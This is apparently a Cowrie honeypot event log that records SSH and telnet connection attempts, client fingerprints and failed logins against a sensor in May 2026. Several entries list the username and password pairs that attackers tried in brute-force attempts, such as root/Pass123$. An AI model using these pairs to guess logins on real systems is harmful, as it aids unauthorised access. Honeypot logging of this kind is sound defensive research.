{"eventid":"cowrie.session.closed","duration":13.409997940063477,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:20.926464Z","src_ip":"223.151.75.124","session":"12b8b9cced1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":56798,"dst_ip":"159.203.135.109","dst_port":22,"session":"75106e2879f3","protocol":"ssh","message":"New connection: 213.183.120.56:56798 (159.203.135.109:22) [session: 75106e2879f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:30.255889Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":55552,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ba45f2ba5e","protocol":"ssh","message":"New connection: 180.178.94.210:55552 (159.203.135.109:22) [session: 34ba45f2ba5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:44.813350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:44.819064Z","src_ip":"180.178.94.210","session":"34ba45f2ba5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:45.074779Z","src_ip":"180.178.94.210","session":"34ba45f2ba5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo","message":"login attempt [root/hallo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:46.136868Z","src_ip":"180.178.94.210","session":"34ba45f2ba5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:47.395799Z","src_ip":"180.178.94.210","session":"34ba45f2ba5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":54670,"dst_ip":"159.203.135.109","dst_port":22,"session":"79eb2fcb4d74","protocol":"ssh","message":"New connection: 43.133.65.220:54670 (159.203.135.109:22) [session: 79eb2fcb4d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:48.754903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:48.759882Z","src_ip":"43.133.65.220","session":"79eb2fcb4d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":38394,"dst_ip":"159.203.135.109","dst_port":22,"session":"52bfd8e60e0c","protocol":"ssh","message":"New connection: 182.18.161.165:38394 (159.203.135.109:22) [session: 52bfd8e60e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:48.939186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:48.944102Z","src_ip":"182.18.161.165","session":"52bfd8e60e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:48.965696Z","src_ip":"43.133.65.220","session":"79eb2fcb4d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:49.150545Z","src_ip":"182.18.161.165","session":"52bfd8e60e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suresh","password":"suresh","message":"login attempt [suresh/suresh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:49.818583Z","src_ip":"43.133.65.220","session":"79eb2fcb4d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123$","message":"login attempt [root/Pass123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:50.007644Z","src_ip":"182.18.161.165","session":"52bfd8e60e0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:51.026919Z","src_ip":"43.133.65.220","session":"79eb2fcb4d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:51.224978Z","src_ip":"182.18.161.165","session":"52bfd8e60e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"0df856f5b746","protocol":"telnet","message":"New connection: 69.4.83.194:42876 (159.203.135.109:23) [session: 0df856f5b746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:58.100850Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:58.508614Z","src_ip":"213.183.120.56","session":"e015e4ebe34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":33376,"dst_ip":"159.203.135.109","dst_port":22,"session":"d795fa00b323","protocol":"ssh","message":"New connection: 27.50.25.190:33376 (159.203.135.109:22) [session: d795fa00b323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:16.919122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:16.924292Z","src_ip":"27.50.25.190","session":"d795fa00b323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:17.154923Z","src_ip":"27.50.25.190","session":"d795fa00b323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gittest","password":"gittest","message":"login attempt [gittest/gittest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:18.109680Z","src_ip":"27.50.25.190","session":"d795fa00b323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:19.343011Z","src_ip":"27.50.25.190","session":"d795fa00b323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":33190,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4a51623a8b","protocol":"ssh","message":"New connection: 4.194.4.255:33190 (159.203.135.109:22) [session: 6c4a51623a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:21.898901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:21.904318Z","src_ip":"4.194.4.255","session":"6c4a51623a8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:22.150825Z","src_ip":"4.194.4.255","session":"6c4a51623a8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:23.151614Z","src_ip":"4.194.4.255","session":"6c4a51623a8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:24.397613Z","src_ip":"4.194.4.255","session":"6c4a51623a8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.401543855667114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:32.502270Z","src_ip":"69.4.83.194","session":"0df856f5b746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":47832,"dst_ip":"10.17.0.5","dst_port":23,"session":"906b05b2c8e6","protocol":"telnet","message":"New connection: 49.88.156.34:47832 (10.17.0.5:23) [session: 906b05b2c8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:34.632792Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":34572,"dst_ip":"159.203.135.109","dst_port":22,"session":"565d9552148e","protocol":"ssh","message":"New connection: 106.243.250.115:34572 (159.203.135.109:22) [session: 565d9552148e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:37.904739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:37.910635Z","src_ip":"106.243.250.115","session":"565d9552148e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:38.126389Z","src_ip":"106.243.250.115","session":"565d9552148e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:38.983792Z","src_ip":"106.243.250.115","session":"565d9552148e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:40.194169Z","src_ip":"106.243.250.115","session":"565d9552148e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":42815,"dst_ip":"159.203.135.109","dst_port":22,"session":"059203deea8c","protocol":"ssh","message":"New connection: 190.6.32.107:42815 (159.203.135.109:22) [session: 059203deea8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:41.504789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:41.521070Z","src_ip":"190.6.32.107","session":"059203deea8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:41.580357Z","src_ip":"190.6.32.107","session":"059203deea8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123!@#","message":"login attempt [root/abc@123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:41.835593Z","src_ip":"190.6.32.107","session":"059203deea8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:42.894923Z","src_ip":"190.6.32.107","session":"059203deea8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":41584,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f99bdee58c","protocol":"ssh","message":"New connection: 101.79.165.133:41584 (159.203.135.109:22) [session: d6f99bdee58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:47.013372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:47.017677Z","src_ip":"101.79.165.133","session":"d6f99bdee58c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:47.233086Z","src_ip":"101.79.165.133","session":"d6f99bdee58c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:48.126606Z","src_ip":"101.79.165.133","session":"d6f99bdee58c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":35972,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e2aa12a0299","protocol":"ssh","message":"New connection: 213.183.120.56:35972 (159.203.135.109:22) [session: 2e2aa12a0299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:48.216744Z"}
